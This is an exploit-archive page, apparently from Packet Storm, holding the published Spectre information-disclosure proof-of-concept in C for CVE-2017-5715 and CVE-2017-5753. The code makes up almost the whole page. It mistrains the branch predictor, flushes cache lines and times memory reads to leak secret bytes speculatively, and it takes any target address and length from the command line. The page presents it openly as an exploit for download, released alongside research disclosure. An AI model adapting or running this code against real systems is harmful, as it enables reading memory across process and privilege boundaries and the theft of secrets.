Exploit the possiblities

Spectre Information Disclosure Proof Of Concept

Spectre Information Disclosure Proof Of Concept
Posted Jan 4, 2018
Authored by Yuval Yarom, Michael Schwarz, Mike Hamburg, Moritz Lipp, Paul Kocher, Werner Haas, Thomas Prescher, Stefan Mangard, Daniel Gruss, Daniel Genkin

Spectre information disclosure proof of concept exploit that affects multiple CPUs.

tags | exploit, proof of concept, info disclosure
advisories | CVE-2017-5715, CVE-2017-5753
MD5 | 98f87055672b6c38186854b5370f5469

Spectre Information Disclosure Proof Of Concept

Change Mirror Download
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler wonat optimize out victim_function() */

void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}


/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;

for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {

/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

/* Call the victim! */
victim_function(x);
}

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above wonat get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}

int main(int argc, const char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
int i, score[2], len=40;
uint8_t value[2];

for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void**)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
}

printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
printf("0x%02X=a%ca score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : a?a), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close